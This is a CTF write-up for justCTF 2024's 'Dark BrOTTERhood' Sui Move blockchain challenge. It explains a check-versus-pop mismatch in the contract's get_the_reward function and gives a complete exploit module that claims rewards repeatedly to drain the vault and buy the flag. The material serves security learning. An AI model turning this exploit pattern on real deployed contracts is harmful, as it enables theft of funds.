Skip to content

Latest commit

 

History

History
156 lines (125 loc) · 5.6 KB

dark_brotterhood.md

File metadata and controls

156 lines (125 loc) · 5.6 KB

Dark BrOTTERhood

This challenge was the Medium one of three blockchain challenges at justCTF 2024 teaser. All challenges were related to the Sui blockchain with the challenges being written in Move.

Challenge Description

In the shadowed corners of the Dark Brotterhood's secrets, lies a tavern where valiant Otters barter for swords and shields. Here, amidst whispers of hidden bounties, adventurers find the means to battle fearsome monsters for rich rewards. Join this clandestine fellowship, where the blockchain holds mysteries to uncover. Otters of Valor, your destiny calls; may your path be lined with both honor and gold.

Challenge created by embe221ed & Darkstar49 from OtterSec

nc db.nc.jctf.pro 31337

We were provided with a download link for a tar archive containing the challenge source and a full setup for the server and client.

Challenge

The goal in this challenge was to buy the flag which costs 1337 but we only have 137.
This contract was a little game in which a registered user can do the following:

  • buy_flag
  • buy_sword
  • find_a_monster
  • fight_monster
  • return_home
  • get_the_reward

Additionally there were some functions to later prove ownership of the flag.

The player can find monsters and then fight them. In order to be able to successfully fight a monster, the player's power needs to at least be equal to the monster's:

public fun find_a_monster(board: &mut QuestBoard, r: &Random, ctx: &mut TxContext) {
    assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MUCH_MONSTERS);

    let mut generator = random::new_generator(r, ctx);

    let quest = Monster {
        fight_status: NEW,
        reward: random::generate_u8_in_range(&mut generator, 13, 37),
        power: random::generate_u8_in_range(&mut generator, 13, 73)
    };

    vector::push_back(&mut board.quests, quest);

}

public fun fight_monster(board: &mut QuestBoard, player: &mut Player, quest_id: u64) {
    let quest = vector::borrow_mut(&mut board.quests, quest_id);
    assert!(quest.fight_status == NEW, WRONG_STATE);
    assert!(player.power > quest.power, BETTER_BRING_A_KNIFE_TO_A_GUNFIGHT);

    player.power = 10; // sword breaks after fighting the monster :c

    quest.fight_status = WON;
}

To get more power (the user has 10 in the beginning), the user can buy_sword which gives 100 power but costs all 137 coins the user has. Since the power gets reset back to 10 every time the player fights a monster and the reward is at max 37 coins, we cannot make a profit from this the intended way.

First approach

I first thought that it might be possible to create my own board and just plant defeated monsters on that one. Unfortunately this was not possible as the user-provided board needs to be a QuestBoard that was created by the contract itself:

public struct QuestBoard has key, store {
    id: UID,
    quests: vector<Monster>,
    players: Table<address, bool>
}

Working approach

After looking at the code a little longer, the get_the_reward function looked suspicious:

public fun get_the_reward(
    vault: &mut Vault<OTTER>,
    board: &mut QuestBoard,
    player: &mut Player,
    quest_id: u64,
    ctx: &mut TxContext,
) {
    let quest_to_claim = vector::borrow_mut(&mut board.quests, quest_id);
    assert!(quest_to_claim.fight_status == FINISHED, WRONG_STATE);

    let monster = vector::pop_back(&mut board.quests);

    let Monster {
        fight_status: _,
        reward: reward,
        power: _
    } = monster;

    let coins = coin::split(&mut vault.cash, (reward as u64), ctx); 
    coin::join(&mut player.coins, coins);
}

Here the quest_id is a user-provided number, indicating which quest we want to claim. It also checks that the quest's status is FINSIHED indicating that hte monster was beat and the player returned home. The bug is present in the line afterwards. The monster to get the reward from is not taken based on the quest_id but popped back from the board's quests. This means that if we provide any index other than the last, the check for the fight_status is not done on the quest we are claiming. With this discrepancy we can now do the following:

  • buy a sword
  • find multiple monsters (limit is 25)
  • fight the 0th monster
  • return home
  • call get_the_reward multiple times always with index 0
  • profit

Exploit

module solve::solve {

    // [*] Import dependencies
    use challenge::Otter::{Self, OTTER};
    use sui::random::Random;

    #[allow(lint(public_random))]
    public fun solve(
        _vault: &mut Otter::Vault<OTTER>,
        _questboard: &mut Otter::QuestBoard,
        _player: &mut Otter::Player,
        _r: &Random,
        _ctx: &mut TxContext,
    ) {
        // Your code here ...

        Otter::buy_sword(_vault, _player, _ctx);

        let mut i = 0;
        let mut j = 0;
        let mut y = 0;
        Otter::find_a_monster(_questboard, _r, _ctx);
        Otter::fight_monster(_questboard, _player, 0);
        Otter::return_home(_questboard, 0);

        while (i <= 10) {
            i = i + 1;

            while (j < 10) {
                Otter::find_a_monster(_questboard, _r, _ctx);
                j = j + 1;
            };

            while (y < 10) {
                Otter::get_the_reward(_vault, _questboard, _player, 0, _ctx);
                y = y + 1;
            };
            y = 0;
            j = 0;
        };

        let flag = Otter::buy_flag(_vault, _player, _ctx);
        Otter::prove(_questboard, flag);

        return;
    }
}

This exploit is not optimal but we played around and got this to work remotely.
Now compiling and throwing this at the server yields the flag.